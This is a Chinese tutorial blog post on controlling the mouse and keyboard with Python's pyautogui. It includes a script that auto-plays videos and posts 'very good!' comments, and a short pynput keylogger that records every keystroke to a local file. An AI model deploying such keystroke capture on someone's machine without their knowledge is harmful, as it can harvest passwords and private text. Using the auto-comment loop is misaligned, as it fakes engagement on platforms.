Python控制鼠标键盘代码实例


Posted in Python onDecember 08, 2020

python控制鼠标键盘其实很容易,我们在写程序的时候很多时候会用的到!

python控制鼠标键盘步骤及代码

1、安装类库

pip install pyautogui

2、代码:

import pyautogui,time,random

pyautogui.PAUSE = 3
pyautogui.FAILSAFE = True

width, height = pyautogui.size()
#print(str(width))
#print(str(height))

def drawRct():
 for i in range(10):
  pyautogui.moveTo(300, 300, duration=0.25)
  pyautogui.moveTo(400, 300, duration=0.25)
  pyautogui.moveTo(400, 400, duration=0.25)
  pyautogui.moveTo(300, 400, duration=0.25)


def mouseScroll():
 time.sleep(5)
 for i in range(10):
  pyautogui.scroll(-200)
  time.sleep(2)

def getXy():
 try:
  while True:
   x, y = pyautogui.position()
   print(x,y)
 except KeyboardInterrupt:
  print('\nExit.')


def playVideo(x,y):
 for i in range(4):
  pyautogui.click(x,y)
  x=x+240
  playAndComment()


def playAndComment():
 time.sleep(random.randint(5,15))
 pyautogui.scroll(-400)
 pyautogui.scroll(-400)
 pyautogui.click(200,300)
 pyautogui.typewrite('very good!')
 pyautogui.click(900,400)
 pyautogui.click(710,16)

if __name__ == '__main__':
 time.sleep(5)
 pyautogui.scroll(-300)
 for i in range(9):
  print(str(i))
  time.sleep(random.randint(3,5))
  #pyautogui.click(360,16)
  pyautogui.scroll(-300)
  time.sleep(random.randint(1,5))
  playVideo(404,330)

直接监听用户键盘操作

from pynput.keyboard import Listener
import logging
 
location = "./"
 
logging.basicConfig( filename=(location+"keylogger.txt"), format="%(message)s", level=logging.DEBUG)
 
def press(key):
  logging.info(key)
 
with Listener(on_press = press) as listener:
  print('The program begins to watch the action of keyboard:')
  listener.join()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python通过get,post方式发送http请求和接收http响应的方法
May 26 Python
浅谈python抛出异常、自定义异常, 传递异常
Jun 20 Python
Django中ORM表的创建和增删改查方法示例
Nov 15 Python
python实现聚类算法原理
Feb 12 Python
Python下opencv图像阈值处理的使用笔记
Aug 04 Python
对Django中的权限和分组管理实例讲解
Aug 16 Python
Python3.7黑帽编程之病毒篇(基础篇)
Feb 04 Python
在pycharm中创建django项目的示例代码
May 28 Python
解决使用Pandas 读取超过65536行的Excel文件问题
Nov 10 Python
Django执行源生mysql语句实现过程解析
Nov 12 Python
python+selenium+chrome实现淘宝购物车秒杀自动结算
Jan 07 Python
python字符串的多行输出的实例详解
Jun 08 Python
Pycharm-community-2020.2.3 社区版安装教程图文详解
Dec 08 #Python
解决pycharm导入numpy包的和使用时报错:RuntimeError: The current Numpy installation (‘D:\\python3.6\\lib\\site-packa的问题
Dec 08 #Python
Python爬虫之App爬虫视频下载的实现
Dec 08 #Python
Python爬虫进阶之爬取某视频并下载的实现
Dec 08 #Python
selenium框架中driver.close()和driver.quit()关闭浏览器
Dec 08 #Python
Python hashlib和hmac模块使用方法解析
Dec 08 #Python
Python虚拟环境virtualenv创建及使用过程图解
Dec 08 #Python
You might like
PR值查询 | PageRank 查询
2006/12/20 PHP
php下统计用户在线时间的一种尝试
2010/08/26 PHP
解析PHP跨站刷票的实现代码
2013/06/18 PHP
php中smarty模板条件判断用法实例
2015/06/11 PHP
php脚本守护进程原理与实现方法详解
2017/07/20 PHP
Thinkphp5.0框架的Db操作实例分析【连接、增删改查、链式操作等】
2019/10/11 PHP
yii2.0框架实现上传excel文件后导入到数据库的方法示例
2020/04/13 PHP
jQuery提交多个表单的小技巧
2014/07/27 Javascript
JS简单操作select和dropdownlist实例
2014/11/26 Javascript
表单验证插件Validation应用的实例讲解
2015/10/10 Javascript
关于事件mouseover ,mouseout ,mouseenter,mouseleave的区别
2015/10/12 Javascript
BootStrap学习系列之Bootstrap Typeahead 组件实现百度下拉效果(续)
2016/07/07 Javascript
JS封装通过className获取元素的函数示例
2016/12/20 Javascript
easyui-edatagrid.js实现回车键结束编辑功能的实例
2017/04/12 Javascript
Vue侦测相关api的实现方法
2019/05/22 Javascript
JS+CSS实现随机点名(实例代码)
2019/11/04 Javascript
详细分析Node.js 多进程
2020/06/22 Javascript
[44:41]Fnatic vs Liquid 2018国际邀请赛小组赛BO2 第二场 8.16
2018/08/17 DOTA
Python用zip函数同时遍历多个迭代器示例详解
2016/11/14 Python
Python队列的定义与使用方法示例
2017/06/24 Python
对python使用telnet实现弱密码登录的方法详解
2019/01/26 Python
解决python 读取excel时 日期变成数字并加.0的问题
2019/10/08 Python
python实现XML解析的方法解析
2019/11/16 Python
浅谈pytorch卷积核大小的设置对全连接神经元的影响
2020/01/10 Python
python3 sorted 如何实现自定义排序标准
2020/03/12 Python
Pycharm激活码激活两种快速方式(附最新激活码和插件)
2020/03/12 Python
Python获取浏览器窗口句柄过程解析
2020/07/25 Python
如何一键升级Python所有包
2020/11/05 Python
静态变量和实例变量的区别
2015/07/07 面试题
会计师事务所审计实习自我鉴定
2013/09/20 职场文书
大学生毕业求职自荐书范文
2014/02/04 职场文书
教师演讲稿开场白
2014/08/25 职场文书
2014学生会工作总结报告
2014/12/02 职场文书
个人学习总结范文
2015/02/15 职场文书
实施意见格式范本
2015/06/05 职场文书
筑梦中国心得体会
2016/01/18 职场文书